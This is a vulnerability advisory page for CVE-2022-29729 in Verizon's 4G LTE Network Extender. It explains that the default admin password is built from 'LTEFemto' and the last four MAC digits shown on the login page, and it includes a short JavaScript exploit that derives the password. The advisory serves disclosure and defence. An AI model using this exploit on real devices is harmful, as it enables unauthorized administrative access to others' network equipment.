Verizion 4G LTE Extender weak password algorithm expose
Reporter | Title | Published | Views | Family All 4 |
---|---|---|---|---|
![]() | CVE-2022-29729 | 27 May 202212:56 | – | cvelist |
![]() | CVE-2022-29729 | 2 Jun 202214:15 | – | nvd |
![]() | Default credentials | 2 Jun 202214:15 | – | prion |
![]() | CVE-2022-29729 | 2 Jun 202214:15 | – | cve |
<html><body><p>Verizon 4G LTE Network Extender Weak Credentials Algorithm
Vendor: Verizon Communications Inc.
Product web page: https://www.verizon.com
Affected version: GA4.38 - V0.4.038.2131
Summary: An LTE Network Extender enhances your indoor and 4G
LTE data and voice coverage to provide better service for your
4G LTE mobile devices. It's an extension of our 4G LTE network
that's placed directly in your home or office. The LTE Network
Extender works with all Verizon-sold 4G LTE mobile devices for
4G LTE data service and HD Voice-capable 4G LTE devices for voice
service. This easy-to-install device operates like a miniature
cell tower that plugs into your existing high-speed broadband
connection to communicate with the Verizon wireless network.
Desc: Verizon's 4G LTE Network Extender is utilising a weak
default admin password generation algorithm. The password is
generated using the last 4 values from device's MAC address
which is disclosed on the main webUI login page to an unauthenticated
attacker. The values are then concatenated with the string
'LTEFemto' resulting in something like 'LTEFemtoD080' as the
default Admin password.
Tested on: lighttpd-web
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2022-5701
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5701.php
17.02.2022
--
snippet:///Exploit
//
// Verizon 4G LTE Network Extender Super Awesome JS Exploit
//
console.log("Calling 'isDefaultPassword' API");
let req = new Request("/webapi/isDefaultPassword");
let def = req.url;
const doAjax = async () => {
const resp = await fetch(def);
if (resp.ok) {
const jsonyo = await resp.json();
return Promise.resolve(jsonyo);
} else {
return Promise.reject("Smth not rite captain!");
}
}
doAjax().then(console.log).catch(console.log);
await new Promise(t => setTimeout(t, 1337));
console.log("Verizon Admin Password: ");
let mac = document.querySelector("#mac_address").innerHTML;
console.log("LTEFemto" + mac.substr(-4));
</p></body></html>
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo